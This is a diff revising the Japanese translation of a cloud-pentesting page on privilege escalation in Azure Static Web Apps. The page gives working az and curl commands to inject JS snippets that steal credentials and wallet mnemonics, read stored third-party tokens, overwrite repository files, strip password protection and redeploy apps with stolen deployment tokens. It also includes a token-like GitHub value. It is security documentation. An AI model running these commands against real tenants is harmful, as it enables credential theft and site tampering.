diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index e795f033f..adf71f781 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -4,7 +4,7 @@ ## Azure Static Web Apps -このサービスの詳細については次を参照してください: +For more information about this service check: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,7 +12,7 @@ ### Microsoft.Web/staticSites/snippets/write -snippet を作成することで、静的なウェブページに任意の HTML コードを読み込ませることが可能です。これにより、攻撃者は web app 内に JS コードを注入し、credentials や mnemonic keys(web3 wallets 内)などの機密情報を窃取できる可能性があります。 +snippet を作成することで、静的ウェブページが任意の HTML コードを読み込むようにすることができます。これにより、攻撃者が web app 内に JS コードを注入し、credentials や mnemonic keys(web3 wallets 内)などの機密情報を盗む可能性があります。 次のコマンドは、常に web app に読み込まれる snippet を作成します:: ```bash @@ -31,7 +31,7 @@ az rest \ } }' ``` -### 設定済みのサードパーティ認証情報を読み取る +### 設定されたサードパーティ認証情報の読み取り As explained in the App Service section: @@ -39,14 +39,14 @@ As explained in the App Service section: ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -次のコマンドを実行すると、現在のアカウントに設定されている**サードパーティの認証情報を読み取る**ことができます。例えば、Github の認証情報が別のユーザーに設定されている場合、そのユーザーとは別のユーザーからはトークンにアクセスできない点に注意してください。 +次のコマンドを実行すると、現在のアカウントに設定されている**サードパーティの認証情報を読み取る**ことができます。たとえば、あるGithubの認証情報が別のユーザーに設定されている場合は、別のユーザーからそのトークンにアクセスすることはできません。 ```bash az rest --method GET \ --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` -このコマンドは Github、Bitbucket、Dropbox、OneDrive の tokens を返します。 +このコマンドは Github、Bitbucket、Dropbox および OneDrive の tokens を返します。 -以下に tokens を確認するためのコマンド例を示します: +以下は tokens を確認するためのコマンド例です: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ @@ -71,12 +71,12 @@ https://graph.microsoft.com/v1.0/me/drive/root/children ``` ### ファイルの上書き - ルート、HTML、JSの上書き... -Azureが**Github token**を保有している場合、次のようなリクエストを送信することで、アプリを含む**Githubリポジトリ内のファイルを上書き**することが可能です。このリクエストでは、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定します。 +**Github repo内のファイルを上書きする**ことは、Azureが**Github token**を保持して次のようなリクエストを送信することで可能で、そのリクエストは上書きするファイルのパス、ファイルの内容、コミットメッセージを指定します。 -This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file. +攻撃者はこれを悪用して、基本的に**web appのコンテンツを変更**して悪意のあるコンテンツを配信したり(認証情報やニーモニックキーを盗む等)、`staticwebapp.config.json` を上書きして特定のパスを自分たちのサーバーへ**リルート**することができます。 > [!WARNING] -> 攻撃者が何らかの方法でGithubリポジトリを乗っ取った場合、Githubから直接ファイルを上書きすることもできる点に注意してください。 +> 攻撃者が何らかの方法でGithub repoを侵害できた場合、Githubから直接ファイルを上書きすることも可能である点に注意してください。 ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ @@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` -### Microsoft.Web/staticSites/config/write +### Microsoft.Web/staticSites/config/write -この権限があれば、次のようなリクエストを送ることで、保護されている static web app の **パスワードを変更**したり、すべての環境の保護を解除したりすることが可能です: +この権限があれば、次のようなリクエストを送信することで、static web app を保護している **パスワードを変更**したり、すべての環境の保護を解除したりすることが可能です。 ```bash # Change password az rest --method put \ @@ -133,7 +133,7 @@ az rest --method put \ ``` ### Microsoft.Web/staticSites/listSecrets/action -この権限により static app の **API key deployment token** を取得できます。 +この権限により、static app の **API key deployment token** を取得できます。 az rest を使用して: ```bash @@ -144,27 +144,27 @@ AzCLI を使用する: ```bash az staticwebapp secrets list --name --resource-group ``` -Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future. +Then, in order to **トークンを使用してアプリを更新する**には、次のコマンドを実行できます。Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default to use. So the image and paarements could change in the future. > [!TIP] -> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の **`swa`** ツールを使うか、以下の手順に従ってください: +> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の **`swa`** ツールを使用するか、以下の手順に従ってください: -1. リポジトリ [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい任意のリポジトリ)をダウンロードし、`cd react-basic` を実行します。 -2. デプロイしたいコードを変更します。 -3. 次のコマンドを実行してデプロイします(`` を変更するのを忘れないでください): +1. リポジトリ [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい他のリポジトリ)をダウンロードし、`cd react-basic` を実行します。 +2. デプロイしたいコードを変更します +3. 次のコマンドを実行してデプロイします(`` を変更することを忘れないでください): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` > [!WARNING] -> トークンを持っていても、**Deployment Authorization Policy** が **Github** に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイ方法を APi トークンを使うように変更するための権限 `Microsoft.Web/staticSites/write` が必要です。 - +> トークンを持っていても、**Deployment Authorization Policy** が **Github** に設定されている場合はアプリをデプロイできません。トークンを使用するには、デプロイ方法を API トークンを使う方法に変更するための権限 `Microsoft.Web/staticSites/write` が必要です。 + ### Microsoft.Web/staticSites/write -この権限があれば、**static web app のソースを別の Github リポジトリに変更することが可能**ですが、自動的にプロビジョニングされるわけではありません。これは Github Action から行う必要があります。 +この権限があれば、**change the source of the static web app to a different Github repository**(static web app のソースを別の Github リポジトリに変更する)ことが可能です。ただし、自動でプロビジョニングされるわけではなく、これは Github Action から行う必要があります。 -しかし、**Deployment Authotization Policy** が **Github** に設定されている場合、**新しいソースリポジトリから app を更新することが可能です!**。 +しかし、**Deployment Authotization Policy** が **Github** に設定されている場合は、**update the app from the new source repository!**(新しいソースリポジトリからアプリを更新する)ことが可能です。 -もし **Deployment Authorization Policy** が Github に設定されていない場合、同じ権限 `Microsoft.Web/staticSites/write` でそれを変更できます。 +もし **Deployment Authorization Policy** が Github に設定されていない場合は、同じ権限 `Microsoft.Web/staticSites/write` でそれを変更できます。 ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -250,16 +250,16 @@ action: "close" ``` ### Microsoft.Web/staticSites/resetapikey/action -この権限があれば、**reset the API key of the static web app** を行うことができ、アプリを自動的にデプロイする workflows を DoSing してしまう可能性があります。 +この権限により、**reset the API key of the static web app** が可能になり、自動的にアプリをデプロイするワークフローをDoSingする可能性があります。 ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` ### Microsoft.Web/staticSites/createUserInvitation/action -この権限は、特定のロールを付与した状態で static web app 内の保護されたパスにアクセスするための **ユーザーへの招待を作成する** ことを許可します。 +この権限は、特定のロールを与えて static web app 内の保護されたパスへアクセスするために **ユーザーへの招待を作成する** ことを許可します。 -ログインは `/.auth/login/github`(github用)や `/.auth/login/aad`(Entra ID用)などのパスにあり、ユーザーは次のコマンドで招待できます: +ログインは `/.auth/login/github`(github 用)や `/.auth/login/aad`(Entra ID 用)などのパスにあり、ユーザーは次のコマンドで招待できます: ```bash az staticwebapp users invite \ --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ @@ -272,12 +272,11 @@ az staticwebapp users invite \ ``` ### プルリクエスト -デフォルトでは、同じリポジトリ内のブランチからの Pull Requests は自動的にコンパイルされ、ステージング環境でビルドされます。これは、リポジトリに対する書き込み権限を持っているが本番ブランチ(通常 `main`)のブランチ保護を回避できない攻撃者によって悪用され、ステージング URL に**悪意のあるバージョンのアプリをデプロイする**ことにつながる可能性があります。 +デフォルトでは、同一リポジトリ内のブランチからのプルリクエストは自動的にコンパイルされ、ステージング環境でビルドされます。これは、リポジトリへの書き込み権限はあるが本番ブランチのブランチ保護(通常は `main`)を回避できない攻撃者が、ステージングURLに**悪意あるアプリのバージョンをデプロイする**ために悪用される可能性があります。 -ステージング URL の形式は次のとおりです: `https://-..` 例: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +ステージングURLは次の形式です: `https://-..` 例: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> デフォルトでは、外部の PR はリポジトリに少なくとも 1 つの PR をマージしていない限りワークフローを実行しない点に注意してください。攻撃者はまず有効な PR をリポジトリに送信し、その後悪意のある PR を送ってステージング環境に悪意のあるアプリをデプロイする可能性があります。とはいえ、予期せぬ保護があります。static web app にデプロイするためのデフォルトの GitHub Action は、デプロイ用トークンを含むシークレット(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)へのアクセスを必要とします。これは IDToken を使ったデプロイであっても同様です。したがって、外部 PR はこのシークレットにアクセスできず、外部 PR が承認されない限りワークフローを変更して任意のトークンを配置することもできないため、**この攻撃は実際には機能しません**。 - +> デフォルトでは、外部PRはリポジトリに少なくとも1つPRをマージしていない限りワークフローが実行されないことに注意してください。攻撃者はまず有効なPRを送信してリポジトリにマージさせ、その後に悪意あるPRを送ってステージング環境に悪意あるアプリをデプロイしようとする可能性があります。 しかし、思わぬ保護があります。static web app にデプロイするデフォルトの Github Action は、デプロイ用トークンを含むシークレット(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`)へのアクセスを必要とします。たとえデプロイがIDTokenで行われる場合でもです。つまり、外部PRはこのシークレットにアクセスできず、外部PRがワークフローを変更してここに任意のトークンを置くことも、PRが承認されない限りできないため、**この攻撃は実際には機能しません**。 {{#include ../../../banners/hacktricks-training.md}}